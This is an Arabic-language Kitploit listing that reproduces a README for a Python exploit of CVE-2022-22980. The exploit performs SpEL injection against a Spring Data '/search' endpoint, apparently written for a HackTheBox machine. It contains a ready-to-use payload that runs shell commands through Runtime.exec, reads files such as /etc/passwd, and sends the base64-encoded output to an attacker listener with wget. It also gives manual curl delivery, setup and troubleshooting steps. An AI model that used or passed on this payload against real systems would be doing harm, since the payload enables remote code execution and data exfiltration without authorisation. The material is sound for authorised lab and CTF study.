Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-22980 — استغلال CVE-2022-22980 | Kitploit
أدوات/GitHubGitHub/eliasdekiniweek/cve-2022-22980
توليد الحمولةالاستغلالاستغلال تطبيقات الويبCTFالقيادة والسيطرةالتعلم والتعليم
GitHubeliasdekiniweek/cve-2022-22980

CVE-2022-22980

استغلال CVE-2022-22980

عرض المستودع
1منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

SpEL RCE Exploit - CVE-2022-22980

استغلال لتنفيذ الأوامر عن بُعد (RCE) على Spring Data عبر حقن SpEL (Spring Expression Language).

الوصف

الثغرة

يُعرّض الصندوق نقطة نهاية /search التي تقبل معامل tracking_id معرّض لحقن SpEL. يسمح هذا الحقن بتنفيذ تعبيرات Java خبيثة مباشرة على الخادم.

مبدأ الاستغلال

  1. حقن تعبير SpEL ينفّذ أمر قشرة عبر Runtime.getRuntime().exec()
  2. ترميز مخرجات الأمر بـ base64
  3. تسريب النتيجة عبر طلب HTTP GET إلى مستمع مُتحكَّم فيه
  4. فك الترميز وعرض النتيجة

الاستخدام

المتطلبات الأساسية

  • Python 3.x مع الوحدات القياسية (http.server, subprocess, threading, base64)
  • curl على جهازك المحلي
  • wget على الجهاز الهدف (للتسريب)
  • منفذ 80 متاح (أو تعديل LPORT في السكربت)
  • وصول شبكي إلى الهدف

الإعداد

عدّل المعاملات في السكربت وفقًا لبيئتك:

root@kitploit:~
TARGET = "http://<IP_CIBLE>:8080/search"   # رابط الهدف
LHOST = "<VOTRE_IP>"                        # IP المحلي (tun0 لـ HTB)
LPORT = 80                                  # منفذ الاستماع

التنفيذ

root@kitploit:~
# أمر بسيط
python3 spel_shell.py "whoami"

# أمر مع أنبوب (pipe)
python3 spel_shell.py "cat /etc/passwd"

# استطلاع النظام
python3 spel_shell.py "uname -a"

# التحقق من الوصول الشبكي
python3 spel_shell.py "curl -s http://httpbin.org/get"

مثال على المخرجات

root@kitploit:~
[*] Starting listener...
[*] Server listening on port 80
[*] Sending payload...
Payload: tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://10.10.14.5:80/{}"})
[*] Received data: cm9vdA==

[+] Command output:

root

الحمولة اليدوية (مرجع)

إذا أردت اختبار الحمولة بدون السكربت:

root@kitploit:~
# الطرفية 1: تشغيل المستمع
python3 -m http.server 80

# الطرفية 2: إرسال الحمولة
curl -X POST \
  -d 'tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://<VOTRE_IP>:80/{}"})' \
  http://<IP_CIBLE>:8080/search

حل المشكلات

خطأ: "Address already in use"

المنفذ 80 مشغول. الحلول:

root@kitploit:~
# التحقق من العملية التي تستخدم المنفذ
sudo netstat -tlnp | grep :80

# إيقاف Apache إذا كان نشطًا
sudo systemctl stop apache2

# أو استخدام منفذ آخر
# عدّل LPORT في السكربت ثم جرّب

لا يوجد استجابة ("No response received")

  1. تحقق من الاتصال الشبكي: تأكد من أن الهدف يمكنه الوصول إلى LHOST:LPORT الخاص بك
  2. جرّب أمرًا بسيطًا: python3 spel_shell.py "echo test"
  3. تحقق من صلاحيات المنفذ: المنفذ 80 يتطلب sudo على لينكس
  4. تحقق من IP الخاص بـ LHOST: استخدم ifconfig (tun0 لـ HTB) وليس 127.0.0.1

خطأ في فك ترميز base64

إذا رأيت "Raw data received" بدلًا من "Command output"، فربما لم يُنتج الأمر مخرجات صالحة. جرّب أمرًا يُنتج مخرجات دائمًا.

بنية السكربت

root@kitploit:~
1. start_server() - تشغيل خادم HTTP على المنفذ 80
                   ↓
2. إرسال الحمولة SpEL عبر curl إلى الهدف
                   ↓
3. الهدف ينفّذ الأمر ويُرمّز النتيجة بـ base64
                   ↓
4. wget يرسل النتيجة إلى المستمع (GET http://LHOST:LPORT/<data>)
                   ↓
5. المعالج (Handler) يستقبل البيانات ويخزّنها
                   ↓
6. السكربت يفك الترميز ويعرض النتيجة

تحذير

هذا السكربت مقدَّم لأغراض تعليمية لصناديق HackTheBox. استخدمه فقط على بيئات لديك إذن لاختبارها.


المؤلف: Eliasdekiniweek التاريخ: فبراير 2026
اللغة: Python 3

تنزيل الأداة